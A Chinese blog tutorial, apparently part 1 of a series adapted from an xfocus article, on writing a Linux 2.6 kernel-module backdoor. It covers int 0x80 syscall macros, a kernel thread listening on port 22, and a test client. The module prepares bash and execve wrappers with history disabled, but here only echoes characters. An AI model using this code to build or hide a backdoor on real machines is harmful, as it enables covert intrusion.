书写 2.6 内核后门程序 -1 (软中断int 0x80)


    Unix世界中一切皆文件的思想将socket通信变的简单的多, 通常我们直接可以用read,write等api函数作为socket通信的方法,这些api函数最终都会调用kernel提供的sys_XXX系列函数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断int 0x80来执行sys_read函数,如:

    int my_read(int fd, char * buf, off_t count)
    {
        long __res;

        __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"

                          : "=a" (__res)
                          : "0" (__NR_read), "ri" ((long)(fd),     "c"((long)(buf),
                            "d" ((long)(count)) :"memory");

                          return (int)(__res);
    }


由于内核和用户空间的数据段使用不同的段选择子,上面的程序由于涉及到  在内核空间和用户空间变换(int 0x80),所以需要通过set_fs(KERNEL_DS); 来设置段寄存器。(这个很重要)


客户端程序:

syscalls.h:

/* macros de syscalls */

int errno;

#define my__syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)

/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
#define my_syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name)); \
my__syscall_return(type,__res); \
}

#define my_syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) \
    : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
      "d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
      type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \
                  "int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
      "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) \
    : "memory"); \
my__syscall_return(type,__res); \
}


kshell.c:

/*
* kenel mode socket door v0.1
*
* by wzt http://www.xsec.org
*/

#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/errno.h>
#include <net/tcp.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/ioctls.h>
#include <asm/termbits.h>
#include "syscalls.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define __NR_e_exit     __NR_exit

#define SGID            0x489196ab
#define HOME        "/"

#define	port 22

static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };

char *env[]={
    "TERM=linux",
    "HOME=" HOME,
    "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
    ":/usr/local/sbin",
    "HISTFILE=/dev/null",
     NULL };

static inline my_syscall0(pid_t, fork);
static inline my_syscall0(long, pause);
static inline my_syscall2(int, kill, pid_t, pid, int, sig);
static inline my_syscall1(int, chdir, const char *, path);
static inline my_syscall1(long, ssetmask, int, newmask);
static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count);
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
static inline my_syscall1(int, e_exit, int, exitcode);
static inline my_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline my_syscall1(int, close, int, fd);
static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall2(int, socketcall, int, call, unsigned long *, args);
static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
static inline my_syscall3(int, execve, const char *, filename,
    const char **, argv, const char **, envp);
static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,
        unsigned long, arg);
static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,
        writefds, fd_set *, exceptfds, struct timeval *, timeout);
static inline my_syscall2(unsigned long, signal, int, sig,
        __sighandler_t, handler);
        

int k_listen(void *nouse)
{
    struct task_struct *tsk = current;
    struct sockaddr_in serv_addr;
    struct sockaddr_in cli_addr;
    mm_segment_t old_fs;
    char buff[100];

    unsigned long arg[3];
    int sock_fd, sock_id;
    int tmp_kid;
    int i, n, cli_len;

    /* create socket */
    arg[0] = AF_INET;
    arg[1] = SOCK_STREAM;
    arg[2] = 0;

    old_fs = get_fs();
    set_fs(KERNEL_DS);

    if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
        set_fs(old_fs);
        return 0;
    }
    printk("create socket ok.\n");

    /* bind address */
    memset((void *) &serv_addr, 0, sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(port);
    serv_addr.sin_addr.s_addr = 0;
    arg[0] = sock_fd;
    arg[1] = (unsigned long) &serv_addr;
    arg[2] = (unsigned long) sizeof(serv_addr);
    if ((socketcall(SYS_BIND, arg)) == -1) {
        close(sock_fd);
        set_fs(old_fs);
        return 0;
    }
    printk("bind address ok.\n");

    /* begin listen */
    arg[0] = sock_fd;
    arg[1] = (unsigned long) 255;
    if ((socketcall(SYS_LISTEN, arg)) == -1) {
        close(sock_fd);
        set_fs(old_fs);
        return 0;
    }
    printk("listen on port %d\n", port);


	
    while(1){
	char	ch;
	printk("server waiting\n");

	cli_len = sizeof(cli_addr);
    	arg[0] = sock_fd;
    	arg[1] = (unsigned long) &cli_addr;
    	arg[2] = (unsigned long) &cli_len;
    	if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
        	printk("accept error.\n");
                close(sock_fd);
                set_fs(old_fs);
                return 0;
    	}
    	printk("accept a client.\n");

    	read(sock_id,&ch,1);    
	
	printk("char from server is:%c\n",ch);	

	ch ++;
	if(ch == 'Z')
	{
		break;	
	}
	write(sock_id,&ch,1);
	close(sock_id);	
    }

    close(sock_id);
    close(sock_fd);
    set_fs(old_fs);

    return 1;
}

static int ksocket_init(void)
{
    printk("ksocket start.\n");

    kernel_thread(k_listen,NULL,0);
}

static void ksocket_exit(void)
{
    printk("ksocket exit.\n");

}

module_init(ksocket_init);
module_exit(ksocket_exit);


make 文件:

EXTRA_CFLAGS:= -g -O2


ifneq ($(KERNELRELEASE),)

obj-m= net.o

net-objs 	        := kshell.o
else
    KDIR := /home/sina/Debug/linux-3.0.1

all:
	    make -C $(KDIR) M=$(PWD) KBUILD_EXTRA_SYMBOLS=./Module.symvers modules
clean:
	    rm -f *.ko *.o *.mod.o *.mod.c *.order *~  *.symvers

endif

将文件放入 busybox 编译的文件系统中测试(insmod 之后):

书写 2.6 内核后门程序 -1 (软中断int 0x80)_第1张图片

在另外一端用一个客户程序测试:

/*  Make the necessary includes and set up the variables.  */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <sys/un.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>

#define  port 22

int main(int argc,char *argv[])
{
    int sockfd;
    int len;
    struct sockaddr_in address;
    int result;

    char ch = *argv[1]; 

/*  Create a socket for the client.  */
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

/*  Name the socket, as agreed with the server.  */
    address.sin_family = AF_INET;
    address.sin_port = htons(port);
    //address.sin_addr.s_addr = inet_addr("192.168.100.2");
    address.sin_addr.s_addr = inet_addr("192.168.100.2"); 
    len = sizeof(address);

    /*  Now connect our socket to the server's socket.  */
    result = connect(sockfd, (struct sockaddr *)&address, len);

    if(result == -1) {
        perror("oops: client1");
        exit(1);
    }

/*  We can now read/write via sockfd.  */
    write(sockfd, &ch, 1);
    read(sockfd, &ch, 1);
    printf("char from server = %c\n", ch);
    close(sockfd);
    exit(0);
}

在客户端测试:

sina@ubuntu:~/Debug/socket/virtual$ ./client A
\]char from server = B
sina@ubuntu:~/Debug/socket/virtual$ ./client G
char from server = H
sina@ubuntu:~/Debug/socket/virtual$ ./client E
char from server = F
sina@ubuntu:~/Debug/socket/virtual$ ./client Y
char from server = Y

此时虚拟机中显示如下:

书写 2.6 内核后门程序 -1 (软中断int 0x80)_第2张图片


由于客户机使用了宏定义 my_syscall 简化了程序的编写,但因为通过 int 调用,所以效率比较低,不是最好的办法。



根据安焦文章:

http://www.xfocus.net/articles/200808/985.html

整理而来。




你可能感兴趣的:(书写 2.6 内核后门程序 -1 (软中断int 0x80))